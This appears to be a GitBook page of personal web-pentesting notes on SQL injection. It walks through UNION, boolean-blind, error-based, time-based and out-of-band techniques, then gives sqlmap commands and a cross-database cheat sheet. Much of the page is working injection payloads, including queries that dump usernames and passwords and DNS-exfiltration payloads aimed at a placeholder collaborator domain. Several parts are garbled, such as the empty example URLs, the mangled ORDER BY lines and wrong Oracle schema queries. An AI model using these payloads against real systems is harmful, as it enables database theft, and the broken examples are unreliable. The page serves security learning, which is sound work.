> For the complete documentation index, see [llms.txt](https://mainekhacker-1.gitbook.io/mainekhacker/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mainekhacker-1.gitbook.io/mainekhacker/web-pentesting/sql-injection.md). # SQL Injection ### **What is SQL injection (SQLi)?** SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. This can allow an attacker to view data that they are not normally able to retrieve. This might include data that belongs to other users, or any other data that the application can access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior. ### How to Detect attack? * The single quote character `'` and look for errors or other anomalies. * Some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and look for systematic differences in the application responses. * Boolean conditions such as `OR 1=1` and `OR 1=2`, and look for differences in the application's responses. * OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitor any resulting interactions. * Most SQL injection vulnerabilities occur within the `WHERE` clause of a `SELECT` & `UPDATA` & `INSERT` & `ORDER BY` query. Most experienced testers are familiar with this type of SQL injection. ### **Retrieving hidden data** Imagine a shopping application that displays products in different categories. When the user clicks on the **Gifts** category, their browser requests the URL: ``` ``` This causes the application to make a SQL query to retrieve details of the relevant products from the database: ``` SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` This SQL query asks the database to return: * all details () * from the `products` table * where the `category` is `Gifts` * and `released` is `1`. The restriction `released = 1` is being used to hide products that are not released. We could assume for unreleased products, `released = 0`. The application doesn't implement any defenses against SQL injection attacks. This means an attacker can construct the following attack, for example: ``` ``` This results in the SQL query: ``` SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 ``` More query's like `'OR 1=1--'` , `‘OR 1=1’` , `'+OR+1=1--` more explore…. ### **Subverting application logic:** Imagine an application that lets users log in with a username and password. If a user submits the username `wiener` and the password `bluecheese`, the application checks the credentials by performing the following SQL query: ``` SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese' ``` ### **Retrieving data from other database tables:** In cases where the application responds with the results of a SQL query, an attacker can use a SQL injection vulnerability to retrieve data from other tables within the database. You can use the `UNION` keyword to execute an additional `SELECT` query and append the results to the original query. For example, if an application executes the following query containing the user input `Gifts`: ``` SELECT name, description FROM products WHERE category = 'Gifts' ``` ## **SQL injection UNION attacks** When an application is vulnerable to SQL injection, and the results of the query are returned within the application's responses, you can use the `UNION` keyword to retrieve data from other tables within the database. This is commonly known as a SQL injection UNION attack. The `UNION` keyword enables you to execute one or more additional `SELECT` queries and append the results to the original query. For example: ``` SELECT a, b FROM table1 UNION SELECT c, d FROM table2 ``` This SQL query returns a single result set with two columns, containing values from columns `a` and `b` in `table1` and columns `c` and `d` in `table2`. ### **Determining the number of columns required** When you perform a SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query. One method involves injecting a series of `ORDER BY` clauses and incrementing the specified column index until an error occurs. For example, if the injection point is a quoted string within the `WHERE` clause of the original query, you would submit: `The ORDER BY position number 3 is out of range of the number of items in the select list.` ``` ORDER BY ORDER BY-- ORDER BY---- or it might be ORDER BY ORDER BY--1 ORDER BY--2 ORDER BY--3 ``` The application might actually return the database error in its HTTP response, but it may also issue a generic error response. In other cases, it may simply return no results at all. ```bash The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values: All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. ``` **Determining the number of columns required - Continued:** now UNION Attack ```bash UNION SELECT NULL UNION SELECT NULL-- UNION SELECT NULL,NULL-- UNION SELECT NULL,NULL,NULL-- more All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. ``` **Database-specific syntax:** ```bash ' UNION SELECT NULL FROM DUAL-- we have dual to target both querys ``` **Finding columns with a useful data type:** ```bash A SQL injection UNION attack enables you to retrieve the results from an injected query. The interesting data that you want to retrieve is normally in string form. This means you need to find one or more columns in the original query results whose data type is, or is compatible with, string data PAYLOAD FOR UNION attack: ' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'-- ``` ### **Using a SQL injection UNION attack to retrieve interesting data** When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data. Suppose that: * The original query returns two columns, both of which can hold string data. * The injection point is a quoted string within the `WHERE` clause. * The database contains a table called `users` with the columns `username` and `password`. In this example, you can retrieve the contents of the `users` table by submitting the input: ``` ' UNION SELECT username, password FROM users-- by + within space ``` In order to perform this attack, you need to know that there is a table called `users` with two columns called `username` and `password`. Without this information, you would have to guess the names of the tables and columns. All modern databases provide ways to examine the database structure, and determine what tables and columns they contain. ### **Retrieving multiple values within a single column** In some cases the query in the previous example may only return a single column. You can retrieve multiple values together within this single column by concatenating the values together. You can include a separator to let you distinguish the combined values. For example, on Oracle you could submit the input: ``` ' UNION SELECT username || '~' || password FROM users-- ``` This uses the double-pipe sequence `||` which is a string concatenation operator on Oracle. The injected query concatenates together the values of the `username` and `password` fields, separated by the `~` character. The results from the query contain all the usernames and passwords, for example: ``` ... administrator~s3cure wiener~peter carlos~montoya ... ``` ### **Querying the database type and version** You can potentially identify both the database type and version by injecting provider-specific queries to see if one works The following are some queries to determine the database version for some popular database types: | Database type | Query | | ---------------- | ------------------------- | | Microsoft, MySQL | `SELECT @@version` | | Oracle | `SELECT * FROM v$version` | | PostgreSQL | `SELECT version()` | For example, you could use a `UNION` attack with the following input: ``` ' UNION SELECT @@version-- ``` ### **Listing the contents of the database** Most database types (except Oracle) have a set of views called the information schema. This provides information about the database. For example, you can query `information_schema.tables` to list the tables in the database: ``` SELECT * FROM information_schema.tables ``` This returns output like the following: ``` TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ===================================================== MyDatabase dbo Products BASE TABLE MyDatabase dbo Users BASE TABLE MyDatabase dbo Feedback BASE TABLE ``` This output indicates that there are three tables, called `Products`, `Users`, and `Feedback`. You can then query `information_schema.columns` to list the columns in individual tables: ``` SELECT * FROM information_schema.columns WHERE table_name = 'Users' ``` This returns output like the following: ``` TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ================================================================= MyDatabase dbo Users UserId int MyDatabase dbo Users Username varchar MyDatabase dbo Users Password varchar ``` This output shows the columns in the specified table and the data type of each column. ## Blind SQL Injection: Where the attackers does not receive any direct feedback for the database but instead infers info based on application behavior such as repones time or content changes ### Boolean Based Blind SQL Injection: * The attacker sends queries that return true or false responses. By observing the differences in application behavior based on these responses, they\ can infer information about the database. * Example: An attacker might use a query like: * `http://example.com/item?id=1 AND 1=1` (true) * `http://example.com/item?id=1 AND 1=2` (false) ### Time Based SQL Injection: * : This method relies on the time it takes for the application to respond. The\ attacker injects a query that causes a delay, allowing them to determine if the query was executed based on the response time. * Example: An attacker might use: * `http://example.com/item?id=1 AND IF(1=1, SLEEP(5), 0)` (should delay response) * `http://example.com/item?id=1 AND IF(1=2, SLEEP(5), 0)` (no delay) ### Exploiting blind SQL injection by triggering conditional responses Consider an application that uses tracking cookies to gather\ analytics about usage. Requests to the application include a cookie\ header like this: ``` Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 ``` When a request containing a `TrackingId` cookie is processed, the application uses a SQL query to determine whether this is a known user: ``` SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' ``` This query is vulnerable to SQL injection, but the results\ from the query are not returned to the user. However, the application\ does behave differently depending on whether the query returns any data.\ If you submit a recognized `TrackingId`, the query returns data and you receive a "Welcome back" message in the response. This behavior is enough to be able to exploit the blind SQL\ injection vulnerability. You can retrieve information by triggering\ different responses conditionally, depending on an injected condition. To understand how this exploit works, suppose that two requests are sent containing the following `TrackingId` cookie values in turn: ``` …xyz' AND '1'='1 …xyz' AND '1'='2 ``` * The first of these values causes the query to return results, because the injected `AND '1'='1` condition is true. As a result, the "Welcome back" message is displayed. * The second value causes the query to not return any\ results, because the injected condition is false. The "Welcome back"\ message is not displayed. This allows us to determine the answer to any single injected condition, and extract data one piece at a time. For example, suppose there is a table called `Users` with the columns `Username` and `Password`, and a user called `Administrator`. You can determine the password for this user by sending a series of inputs to test the password one character at a time. To do this, start with the following input: ``` xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm ``` This returns the "Welcome back" message, indicating that the\ injected condition is true, and so the first character of the password\ is greater than `m`. Next, we send the following input: ``` xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't ``` This does not return the "Welcome back" message, indicating\ that the injected condition is false, and so the first character of the\ password is not greater than `t`. Eventually, we send the following input, which returns the\ "Welcome back" message, thereby confirming that the first character of\ the password is `s`: ``` xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's ``` We can continue this process to systematically determine the full password for the `Administrator` user ## **Error-based SQL injection:** * Error-based SQL injection uses database errors to reveal or infer data when normal responses don’t change. * Two main patterns: 1. Trigger conditional errors: craft SQL that raises an error only when a condition is true, letting you infer truth by observing an error response. 2. Trigger verbose errors: cause the DB to include query results in an error message, turning a blind flaw into visible output. * Conditional-error example (MS SQL-style): * Payloads: * xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a — no error * xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a — causes divide-by-zero error * Use this to test data one character at a time: * xyz' AND (SELECT CASE WHEN (Username='Administrator' AND SUBSTRING(Password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM Users)='a * Tips: * Adjust syntax for the target DB (CASE, IF, or equivalent). * Extract data piecewise (characters or bytes). * Watch for application error handling that hides DB errors—this technique depends on detectable error differences. Time-based blind SQL injection: * When errors are handled silently, trigger delays instead: a true condition makes the DB sleep, delaying the HTTP response so you can infer truth from response time. * Example (MS SQL Server): * No delay: '; IF (1=2) WAITFOR DELAY '0:0:10'-- * Delay: '; IF (1=1) WAITFOR DELAY '0:0:10'-- * Use for extraction one character at a time, e.g.: * '; IF (SELECT COUNT(Username) FROM Users WHERE Username='Administrator' AND SUBSTRING(Password,1,1)>'m') = 1 WAITFOR DELAY '0:0:{delay}'-- * Tips: * Choose delays large enough to be distinguishable but not so large they cause noise. * Adjust syntax for the target DB (SLEEP for MySQL, pg\_sleep for PostgreSQL). * Chunk and optimize tests (binary search on character ranges) to reduce requests. * Beware network jitter and caching; repeat tests to confirm. ### **Exploiting blind SQL injection using out-of-band (OAST) techniques:** * Problem: The vulnerable app runs a SQL query asynchronously (in another thread) so the web response never includes query results, errors, or timing — standard blind/boolean/time techniques fail. * Idea: Force the database server to make network requests (out‑of‑band) that you control; observe those requests to learn or steal data. * Why DNS: DNS lookups commonly are allowed outbound and can carry data encoded into subdomains, making them a reliable channel. * How it works (high level): 1. Generate a unique domain you control (or use a service like Burp Collaborator that gives you a unique domain and logs interactions). 2. Inject SQL that, when a condition is true (or that directly concatenates data), causes the DB to perform a network/DNS lookup to a subdomain that encodes the secret (e.g., [username.password.example.com](http://username.password.example.com)). 3. The DNS resolver (or your collaborator server) receives the lookup; you observe the subdomain requested and decode the exfiltrated data. * Example (MS SQL Server): the payload\ '; exec master..xp\_dirtree '//‹encoded-data›.your-collab-domain/a'--\ causes the server to attempt a DNS lookup for ‹encoded-data›.your-collab-domain, which you can see on the collaborator. ```bash Basic scan sqlmap -u "" With cookies (authenticated) sqlmap -u "" --cookie="session=abc123" Dump database sqlmap -u "" --dbs Dump tables sqlmap -u "" -D dbname --tables Dump data sqlmap -u "" -D dbname -T users --dump POST request sqlmap -u "" --data="user=admin&pass=test"In Real Bug Bounty Hunting Most SQLi found via: Forgotten old parameters API endpoints developers didn't secure Custom search/filter/sort functions Mobile app API traffic (intercept with Burp) Cheatsheet of SQL : SQL injection cheat sheet This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks. String concatenation You can concatenate together multiple strings to make a single string. Oracle 'foo'||'bar' Microsoft 'foo'+'bar' PostgreSQL 'foo'||'bar' MySQL 'foo' 'bar' [Note the space between the two strings]CONCAT('foo','bar') Substring You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba. Oracle SUBSTR('foobar', 4, 2) Microsoft SUBSTRING('foobar', 4, 2) PostgreSQL SUBSTRING('foobar', 4, 2) MySQL SUBSTRING('foobar', 4, 2) Comments You can use comments to truncate a query and remove the portion of the original query that follows your input. Oracle --comment Microsoft --comment /*comment*/ PostgreSQL --comment /*comment*/ MySQL #comment-- comment [Note the space after the double dash]/*comment*/ Database version You can query the database to determine its type and version. This information is useful when formulating more complicated attacks. Oracle SELECT banner FROM v$version SELECT version FROM v$instance Microsoft 'UNION SELECT @@version--' PostgreSQL SELECT version() MySQL SELECT @@version Database contents You can list the tables that exist in the database, and the columns that those tables contain. Oracle SELECT * FROM username SELECT * FROM password WHERE username = 'administrator' Microsoft SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' PostgreSQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' MySQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' Conditional errors You can test a single boolean condition and trigger a database error if the condition is true. Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') Extracting data via visible error messages You can potentially elicit error messages that leak sensitive data returned by your malicious query. Microsoft SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int. PostgreSQL SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret" MySQL SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret' Batched (or stacked) queries You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay. Oracle Does not support batched queries. Microsoft QUERY-1-HERE; QUERY-2-HERE QUERY-1-HERE QUERY-2-HERE PostgreSQL QUERY-1-HERE; QUERY-2-HERE MySQL QUERY-1-HERE; QUERY-2-HERE Note With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database. Time delays You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds. Oracle dbms_pipe.receive_message(('a'),10) Microsoft WAITFOR DELAY '0:0:10' PostgreSQL SELECT pg_sleep(10) MySQL SELECT SLEEP(10) Conditional time delays You can test a single boolean condition and trigger a time delay if the condition is true. Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END MySQL SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') DNS lookup You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred. Oracle (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:SELECT EXTRACTVALUE(xmltype('"> %remote;]>'),'/l') FROM dual The following technique works on fully patched Oracle installations, but requires elevated privileges:SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') Microsoft exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' PostgreSQL copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' MySQL The following techniques work on Windows only:LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' DNS lookup with data exfiltration You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data. Oracle SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') PostgreSQL create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f(); MySQL The following technique works on Windows only:SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' | Oracle | `SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual` | | --- | --- | | Microsoft | `declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')` | | PostgreSQL | `create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();` | | MySQL | The following technique works on Windows only:`SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'` | ```